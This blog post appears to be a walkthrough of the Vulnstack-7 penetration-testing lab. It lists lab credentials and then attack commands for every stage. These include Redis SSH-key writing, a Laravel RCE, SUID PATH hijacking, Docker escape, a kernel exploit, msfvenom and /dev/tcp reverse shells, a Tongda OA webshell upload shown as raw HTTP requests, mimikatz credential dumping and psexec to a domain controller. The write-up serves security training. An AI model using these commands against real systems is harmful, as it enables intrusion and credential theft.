红日内网靶场vulnstack-7

本文最后更新于:2023年9月4日 凌晨

前言:

此靶场复现过程来自某位备受靶场环境折磨的友人……😬😬😬

*配置*

在Vmware中新增两个虚拟网卡VMnet8、VMnet14。VMnet8设为默认的NAT模式,IP段设为 10.10.10.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24

将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机 皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。

DMZ区域:

给Ubuntu (Web 1) 配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上连通第二 层网络。

第二层网络区域:

给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网 络,一个连接在VMnet14上连通第三层网络。

第三次网络区域:

给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在VMnet14上连通第 三层网络。

*服务配置*

靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应 的主机上启动靶机服务:

DMZ区的 Ubuntu 需要启动nginx服务:

sudo su
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F /关闭防火墙

imgimg

第二层网络的 Ubuntu需要启动docker容器:

sudo service docker start
sudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 1)需要启动通达OA:

C:\MYOA\bin\AutoConfig.exe

*域用户信息*

域用户账户和密码如下:

Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达OA账户:

admin:admin657260

*ip信息*

kali
192.168.3.239
web1
192.168.3.156
192.168.52.10
web2
192.168.52.20
192.168.93.10
pc1
192.168.52.30
192.168.93.20
pc2
192.168.93.40
dc
192.168.93.30

*外网打点*

*主机探测*

用nmap或者arp都可以,本人测试arp快一点

nmap -sn 192.168.3.0/24
arp-scan -l

接下来利用nmap扫描开放端口,开放22,80,81,6379端口

nmap -n -v -sS --min-rate 10000 -p- -Pn 192.168.3.162

访问一下80和81端口

imgimg

*redis未授权访问*

https://www.cnblogs.com/bmjoker/p/9548962.html

redis-cli -h 192.168.3.156

直接连上,输入info可以看到直接执行

*本地生成密钥然后覆盖目标主机的密钥*

攻击者在未授权访问redis的情况下,利用redis自身提供的config命令,可以进行写文件的操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对于私钥直接使用ssh服务登录目标服务器

ssh-keygen -t rsa #生成公钥
(echo -e “\n\n”; cat /root/.ssh/id_rsa.pub; echo -e “\n\n”) > 1.txt #将公钥导入1.txt文件
cat 1.txt | redis-cli -h 192.168.3.156 -p 6379 -x set hello #把1.txt文件内容写入目标主机的redis缓冲中
config set dir /root/.ssh #设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys #设置保存文件名为authorized_keys
save #将数据保存在目标服务器硬盘上
ssh root@192.168.3.156 #连接

imgimgimgimg

切换到家目录,查看

imgimg

*上线msf*

生成马子,利用拿到的ssh从网络上下载到ubuntu

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.3.239 LPORT=6666 -f elf > ubuntu.elf

msf,启动!

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.3.239
set lport 6666
run

chmod +x ubuntu.elf
./ubuntu.elf

成功上线Ubuntu web1

*添加路由*

run get_local_subnets
run post/multi/manage/autoroute
run autoroute -p

*Laravel Debug RCE(CVE-2021-3129)*

81端口是个laravel版本在右下角写着,为8.29.0,存在远程命令执行漏洞Laravel Debug RCE(CVE-2021-3129)

当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。这里直接使用工具 getshell,工具下载地址:

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

可以写入哥斯拉的webshell(要使用低版本的哥斯拉,因为高版本的哥斯拉生成的马的加密方式已经改变了导致会连接失败)

*linux环境变量提权*

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

参考:https://www.freebuf.com/articles/system/173903.html

https://blog.csdn.net/weixin_49340699/article/details/118801756

当前用户为 www-data,枚举具有SUID权限的所有二进制文件,发现 /home/jobs/shell

find / -perm -u=s -type f 2>/dev/null #\

看到/home/jobs下有个shell,打算切换目录,但是无法执行,离谱,然后又在网站根目录上传了一个蚁剑的然后切换到那个目录

find / -perm -u=s -type f 2>/dev/null #
./shell
cp /bin/bash /tmp/ps
ls /tmp
echo $PATH
export PATH=/tmp:$PATH #将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
这里由于是docker环境,需要先把shell反弹到ubuntu1再执行操作
nc -lvp 1234
webshell:bash -c ‘exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1’
更改$PATH来执行恶意程序,从而获得目标主机的 root 权限 shell

imgimg

*docker特权模式逃逸*

特权模式于版本 0.6 时被引入 docker,允许容器内的 root 拥有外部物理机 root 权限,而此前容器内 root 用户仅拥有外部物理机普通用户权限使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行 docker run —privileged 时,docker 容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行挂载当控制使用特权模式启动的容器时,docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令

把 Laravel 的高权限 shell(192.168.52.20)再反弹到 ubuntu 18(192.168.52.10)中

判断是否为docker 环境
1、使用下面命令,查看是否存在 dockerrnv 文件
ls -alh /.dockerenv

2、查看系统进程的cgroup信息
cat /proc/1/cgroup

fdisk -l #查看磁盘文件
ls /dev #查看设备文件
cd /
mkdir hello
mount /dev/sda1 /hello
ls /hello

ssh-keygen -f hello
chmod 600 hello #赋予权限

覆盖密匙:
cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys #-avx将权限也一起复制
echo > /hello/home/ubuntu/.ssh/authorized_keys        #清空authorized_keys文件
echo ‘ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7hzizjmrEOuglTCmszsmOkJ1DowNdw20+z9hhSdpq6pl6Bpohp3f5V7WsdB09/blF8S+yWFSLDtdeDN4zQH6bKXyKOUBvBnxku+3v+xaNX5gTDj4mU9wEzrmiHNyDbKbpAbs8K7o85aOXxXzP0hMzpgI9zuB0kNDzj/p+IAmnQHC9PqR6YGSl1QoI3pIHWjXVk1aRuTN2bOBpCkF0OtgMBg8mNpPNoGnhKBq7zCMbIa6smhw71V6vnCxnmvhJQK6Ug72VWDK9uUIKX052adUnLqGBcF/2XqRLMGY4Hoe5iMT/Px1xErmC+q4/vfhCHdXpe8kmBr9aPoNJuVjVnpfZ root@ubuntu’ > /hello/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入authorized_keys文件
cat /hello/home/ubuntu/.ssh/authorized_keys #查看是否写入成功
ssh -i hello ubuntu@192.168.52.20 #指定本地密钥登录

imgimg

*上线Ubuntu web2*

生成马子(低权限,现在最好不上线,一会提权完成在上线,但是不知道为什么我上线完之后两个session都莫名其妙死掉了,又重新上线了一遍)

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=7777 -f elf -o ubuntu2.elf

上传shell

上传成功

开启http服务

Ubuntu2wget下载

开启监听

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.52.20
set lport 7777
run

*CVE-2021-3493**提权*

当前登录用户是 ubuntu,查看系统信息,发现服务器在 cve-2021-3493 内核提权漏洞影响版本内

漏洞原理:Linux内核中overlayfs文件系统中的Ubuntu特定问题,在该问题中,它未正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权

提权工具:https://github.com/briskets/CVE-2021-3493

这里就直接在目录下touch一个文件,然后把脚本内容写进去,或者输入重定向echo 脚本内容 > 1.txt,然后执行编译,执行得到的文件,我们就获得了root权限,

gcc exploit.c -o exploit
chmod +x exploit
./exploit

*二上msf*

操作和第一次一样,生成马子,upload上传,wget下载,加权限,执行,kali这边设置模块,run,添加路由,直接上截图imgimgimg

*上线pc1*

添加路由之后发现存在192.168.52.0网段的路由,于是搭建frp代理

kali启动服务端
[common]
bind_port = 9100
ubuntu1启动客户端
#frpc.ini
[common]
server_addr = 192.168.3.239
server_port = 9100

[plugin_socks]
type = tcp
remote_port = 9101
plugin = socks5

*扫描端口*

接着,我们使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活:

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run

对192.168.52.30进行识别

nmap -sV 192.168.52.30

访问80端口发现是一个通达oa页面(使用socks5代理访问)存在漏洞,手工复现一波,抓包

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: /
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=“UPLOAD_MODE”

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=“P”

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=“DEST_UID”

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=“ATTACHMENT”; filename=“jpg”
Content-Type: image/jpeg

exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>

------WebKitFormBoundarypyfBh1YB4pV8McGB–

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.21.0
Content-Length: 70
Content-Type: application/x-www-form-urlencoded

json={“url”:“/general/…/…/attach/im/2309/531433566.jpg”}&cmd=whoami

OK,直接上工具,代理改一下直接检测,上传马子

蚁剑连接

上传一个msf的exe,上线之后添加路由

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.93.20 LPORT=4444 -f exe > msf.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 4302
set rhost 192.168.93.20
run

然后扫描一下93网段存活的主机(我这里设置的范围比较小,怕扫着扫着会话死掉,或者靶机崩了,已经重做很多次),40的机器很明显是域控

扫一下永恒之蓝,尝试了一下域控没上线

回到pc1的会话,收集一下基本信息,然后查看账户密码

load kiwi
migrate 进程(ps查看,迁移到64位的system权限的)
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords

imgimgimg

*上线DC*

得到了域控的账号密码,关掉防火墙之后用模块上线

shell
net use \192.168.93.30\ipc$ “Whoami2021” /user:“Administrator”
sc \192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off”
sc \192.168.93.30 start unablefirewall

use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
set smbuser administrator
set smbpass Whoami2021

imgimg

*上线pc2*

很多方法,第一种用永恒之蓝打,但是很难打出来,而且很容易死会话,而且是一死全死那种

第二种就是和上线DC一样的方法,利用模块,但是我的靶机不对劲,登录上去

第三种是将msf的session派发给cs利用cs上线

至此拿下全部机器,在贴一张msf的sessions图

🌄🌄🌄🌄🌄🌄🌇🌇🌇🌇🌇🌇🌇


红日内网靶场vulnstack-7
https://jsweetcoffee.github.io/posts/f656209c.html
作者
SCxiaoyun
发布于
2023年9月4日
许可协议